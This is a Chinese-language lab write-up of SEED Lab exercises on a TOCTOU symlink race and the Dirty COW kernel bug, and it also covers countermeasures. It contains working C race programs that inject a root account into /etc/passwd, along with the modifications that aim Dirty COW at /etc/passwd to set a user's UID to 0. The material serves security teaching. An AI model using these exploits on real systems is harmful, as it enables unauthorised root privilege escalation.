SeedLab2.0 TOCTOU & Dirty Cow

Posted by 慕念 on May 12, 2022

Lab4.1 TOCTOU

TOCTOU漏洞原理:

if(!access(fn, W_OK)){		//*
	fp = fopen(fn, "a+"); 	//*
	fwrite("\n", sizeof(char), 1, fp);
	fwrite(buffer, sizeof(char), strlen(buffer), fp);
	fclose(fp);
}

由于检查(access)和使用(fopen)之间存在时间窗口,有可能access()访问的文件与fopen()打开的文件不同,尽管具有相同的文件名/tmp/XYZ。如果attacker可以在时间窗口内以某种方式将/tmp/XYZ作为指向受保护文件的符号链接,例如/etc/passwd,攻击者可以将用户输入附加到/etc/passwd中,从而获得根权限。vulnerable的程序使用根权限运行,所以它可以覆盖任何文件。

Task 1: Choosing Our Target

sudo su,当前用户暂时申请root权限,写/etc/passwd文件

echo 'test:U6aMy0wojraho:0:0:test:/root:/bin/bash' >>/etc/passwd

image-20220504150019617

不用输密码直接回车就可以获得切换到root

Task 2: Launching the Race Condition Attack

Task 2.A: Simulating a Slow Machine

access会检查实际运行程序的用户(seed)是否具有访问文件fn的权限,可以打开/dev/null不能打开/etc/passwd

通过增加sleep(10);语句创造比较长的时间窗口。

重新编译vulp.c,设为root所有的setuid程序。(因为改etc/passwd需要root)

image-20220504213026210

image-20220504213434920

linux系统中每个进程都有2个ID,分别为用户ID(uid)和有效用户ID(euid),UID一般表示进程的创建者(属于哪个用户创建),而EUID表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限)。

image-20220512140239548

手动修改链接:

image-20220504213103667

运行./vulp,用户输入为要写入/etc/passwd的字符串:test:U6aMy0wojraho:0:0:test:/root:/bin/bash。在输入完成的十秒内,在另一个中断中执行命令ln -sf /etc/passwd /tmp/XYZ,使/tmp/XYZ链接到/etc/passwd

image-20220504213841777

image-20220504213853734

cat /etc/passwd发现成功写入:

image-20220504214355194

Task 2.B: The Real Attack

编写攻击程序,逻辑和上面的Task 2.A相同,先废除旧的链接让/tmp/XYZ链接到/dev/null,然后再废除链接让/tmp/XYZ链接到/etc/passwd。为避免切换太快,每次链接后usleep(1000);

target_process.sh会一直尝试,总会试到一次攻击通过了acess检查,打开文件后,/tmp/XYZ被链接到/etc/passwd,然后就可以修改/etc/passwd文件了。

#include <unistd.h>
 
int main()
{
    while(1){
        unlink("/tmp/XYZ");
        symlink("/dev/null","/tmp/XYZ");
        usleep(1000);
 
        unlink("/tmp/XYZ");
        symlink("/etc/passwd","/tmp/XYZ");
        usleep(1000);
    }
    return 0;
}

target_process.sh中用test:U6aMy0wojraho:0:0:test:/root:/bin/bash代替输入。

image-20220504221350785

在一个终端中先运行attack,在另一个终端中运行target_process.sh,运行了不到1分钟就输出了STOP... The passwd file has been changed

image-20220504221543612

检查/etc/passwd成功写入:

image-20220504221657978

manual问题

多跑了几次出现了manual中的那种问题,/tmp/XYZ的拥有者变成了root。(原本一直都是seed)

image-20220504223013744

原因:攻击程序在删除/tmp/XYZ(即unlink())之后,在链接到另一个文件(即symlink())之前立即切换上下文。因为删除现有符号链接并创建新符号链接的操作不是原子的(涉及两个单独的系统调用)。所以,如果上下文切换发生在中间(即在删除 /tmp/XYZ 之后),并且目标Set-UID程序有机会运行 fopen(fn, "a+")语句,它将创建一个以root为所有者的新文件。攻击程序将无法再更改/tmp/XYZ。(/tmp文件夹有一个sticky bit,这意味着只有文件的所有者可以删除该文件,即使该文件夹是所有用户都可写的)

正确:
	通过access检查
->	unlink
->	symlink /etc/passwd
->	fopen /etc/passwd

错误:
	通过access检查
->	unlink
->	fopen	(打开了不存在的文件,vulp创建一个以root为所有者的新文件,攻击者将无法再更改/tmp/XYZ
->	symlink

执行下图中的分支:

image-20220504224655620

Task 2.C: An Improved Attack Method

使用提供的程序,通过使用renameat2系统调用来原子地切换symlink,将renameat2写在while循环中:(如果whileunlinksymlink也包括起来还是容易产生之前的问题):

#define _GNU_SOURCE

#include <stdio.h>

#include <unistd.h>

int main()
{
    unsigned int flags = RENAME_EXCHANGE;

    unlink("/tmp/XYZ");
    symlink("/dev/null", "/tmp/XYZ");
    unlink("/tmp/ABC");
    symlink("/etc/passwd", "/tmp/ABC");
    while (1)
    {
        renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    }
    return 0;
}

成功写入,并且成功概率明显提高:

image-20220504224958514

Task 3: Countermeasures

Task 3.A: Applying the Principle of Least Privilege

更好的方法是应用最小特权原则;即,如果用户不需要某种特权,则需要禁用该特权。

先通过getuid()用来取得执行目前进程的用户识别码,因为是seed用户执行,进程没有超级用户权限,则seteuid只将euid设置为seed,失去了root权限,无法打开/etc/passwd。(效果相当于编译之后没有chown root)

image-20220504225410080

重新编译后按照Task2.c的方法进行攻击,写入失败。

image-20220504232429983

输出的结果分为两种:

  • No permissionif (!access(fn, W_OK))进行判断的时候,此时/tmp/XYZ链接到了/etc/passwdaccess判断seed用户没有权限写/etc/passwd文件,所以输出No permission
  • Open failed: Permission denied:此时/tmp/XYZ链接到了/dev/null,seed用户有权限写/dev/null,但是执行fopen时没有root权限打开/tmp/X指向的受保护的文件/etc/passwd

image-20220512140842921

Task 3.B: Using Ubuntu’s Built-in Scheme

打开保护,限制用户建立软链接:

sudo sysctl -w fs.protected_symlinks=1

image-20220505100129783

使用task2.c的程序进行攻击,攻击失败

image-20220505100309771

Q1:How does this protection scheme work?

maunal中有提到一句话:

According to the documentation, “symlinks in world-writable sticky directories (e.g./tmp) cannot be followed if the follower and directory owner do not match the symlink owner.”

当设置sticky bit后,即便用户对该目录有写入权限,也不能删除该目录中其他用户的文件数据,而是只有该文件的所有者和root用户才有权将其删除。

举例说明:

当甲用户以目录所属组或其他人的身份进入A目录时,如果甲对该目录有w权限,则表示对于A目录中任何用户创建的文件或子目录,甲都可以进行修改甚至删除等操作。但是,如果A目录设定有SBIT权限,那甲用户只能操作自己创建的文件或目录,而无法修改甚至删除其他用户创建的文件或目录。

ll -d /tmp命令可以查看/tmp目录的最后一位是t,说明此目录拥有SBIT权限。(/tmp的所有者和组用户的权限都是rwx,对于other的权限是rwt)

image-20220505100838863

/tmp目录设置了sticky bit。当sticky符号保护开启后,在全局可写的sticky目录(如tmp)中,只有当symlink的所有者,与follower或目录所有者相匹配时才能被follow。

在这次攻击中,当打开保护后

  • 漏洞程序以root权限运行(虽然漏洞程序的所有者是seed,但是运行时的权限是root),即follower为root
  • /tmp目录的所有者是root
  • 但是符号链接所有者是攻击者本身(seed)

所以系统不允许程序使用该符号链接。

image-20220505102733051

Q2:What are the limitations of this scheme?

When fs.protected_symlinks set to “1” symlinks are permitted to be followed only when outside a sticky world-writable directory, or when the uid of the symlink and follower match, or when the directory owner matches the symlink’s owner.

  • 打开sticky符号保护后,仅适用于/tmp这样的sticky目录。

  • 如果目录的所有者匹配symlink的所有者,比如把/tmp的所有者改成seed,攻击成功。因为这时follower是root,directory owner和symlink’s owner都是seed。

  • (第二点,当symlink的所有者和follower匹配的时候,也是可以用符号链接的,但是因为Lab中需要修改/etc/passwd,所以follower必须是root,symlink的所有者也改成root)

    image-20220505111211296

    (但是由于vulp的所有者是seed,现在/tmp/XYZ所有者是root后没有办法通过access检查,需要把vulp的所有者也改成root,这样尝试之后还是失败了,可能是还存在着别的机制。)


Lab 4.2 Dirty COW

Task 1: Modify a Dummy Read-Only File

在根目录中创建一个名为zzz的文件,将其权限更改为对普通用户的只读权限,并随便放一点东西到文件中。因为该文件只对普通用户可读,所以无法以普通用户的身份写入这个文件。

image-20220505170238212

cow_attack.c有三个线程:主线程、write线程和madvise线程。

  • 主线程将/zzz映射到内存,找到模式“222222”所在的位置,然后创建两个子线程。
  • write线程将内存中的字符串“222222”替换为“******”。由于映射的内存是COW类型,因此此线程单独只能修改映射内存副本中的内容,这不会导致对底层zzz文件的任何更改。
  • madvise线程丢弃映射内存的私有副本,这样页表就可以指向原始映射内存。

如果交替调用write()madvise()系统调用,即一个只在另一个完成后调用,那么写操作将始终在私有副本上执行,将永远无法修改目标文件。攻击成功的唯一方法是在write()系统调用仍在运行时执行madvise()系统调用。所以write线程和madvise线程中都有while(1)循环。

编译并运行cow_attack.c

image-20220505190631275

一段时间后查看/zzz中的内容,发现其中的222222被成功修改:

image-20220505190730643

解释原因

主线程以只读模式打开了victim file:

int f=open("/zzz", O_RDONLY);

所以理论上只能在private mode下打开read only文件,看起来就像是可读可写,但实际上写的内容不会写回原来的内存,而是kernel会分配一个新页。主线程通过mmap,把磁盘上的文件映射到进程的内存空间,所以之后对内存进行读写相当于对原文件进行读写。

之后主线程启动了2个子线程,write线程不停地写内存(这时候相当于在写文件),madvice线程不停地告诉kernel内存暂时不用了,让kernel把内存swap out到磁盘。

所以write线程会遇到三种状况:

  • 正常情况,已经完成COW操作,有了可写页面可以正常写入
  • 不正常情况1:页不存在,刚刚完成madvice,页被swap out到磁盘上
  • 不正常情况2:页read only,COW还没有触发,说明该页从swap in之后还没有被写过

当遇到后面两种不正常情况是会产生page fault,会有page fault handler进行相应处理。

当调用write系统调用要向/proc/self/mem文件(即进程内存,这里就是/zzz)中写入数据时,进入内核态后内核会调用get_user_pages函数获取要写入内存地址。get_user_pages会调用follow_page_mask来获取这块内存的页表项,并同时要求页表项所指向的内存映射具有可写的权限。

第一次调用follow_page_mask获取内存的页表项会因为缺页而失败(可能刚被madvice线程swap out)。kernel会把页建好,从磁盘上swap in页,标记页面为RO,且FW仍是1,说明要进行写操作。

第二次调用follow_page_mask,发现FW=1,用户想写,但是页面权限是RO,权限不匹配,所以把RO page的内容拷贝到COW page中,并把FW置为0(会将下一次访问视为只读访问,尽管目标是写入访问)。

第三次调用follow_page_mask时,发现FW=0,不需要写了,就直接返回。执行真正的写入。

因为这三次调用follow_page_mask之间是没有加锁保护的,所以如果和madvice线程产生了竞争就会产生问题。

前两次的调用同上,这时已经建立好了COW page,且FW=0,==如果在这时发生了madvice==,COW Page会被swap out到磁盘中,第三次调用follow_page_mask时,发现page is null,所以kernel会把页面swap in,并标记为RO(和第一次调用时步骤相同),此时FW=0。

第四次调用follow_page_mask时发现页面可读,且FW=0,继续执行的条件是满足的,退出follow_page_mask,进行正常的写,这时就写到了RO page(因为FW=0,kernel认为文件不会被写,所以将简单地从页面缓存中拉出直接映射到底层特权文件的页面,而不是创建dirty COW页面),在下一次madvice时会被同步进磁盘,即对不可写的文件进行了写操作,在这个lab中即/zzz的内容被修改了。

正常:

image-20220512141654263

dirty cow:

image-20220512141743899

Task 2: Modify the Password File to Gain the Root Privilege

新建用户charlie:

需要修改charlie在/etc/passwd中的条目,即把第三个字段从1001改成0000,将charlie变成了一个根帐户。

只需要做三处修改:

  • main函数中把target file改成/etc/passwd

      // Open the target file in the read-only mode.
      int f=open("/etc/passwd", O_RDONLY);
    
  • main函数中把target area改成"1001":

      // Find the position of the target area
      char *position = strstr(map, "1001");     
    
  • writeThread中把要写入的内容改成"0000"

      char *content= "0000";
    

重新编译,运行一段时间后再查看/etc/passwd中的内容,发现已经被修改:

image-20220505202949381

image-20220505203018831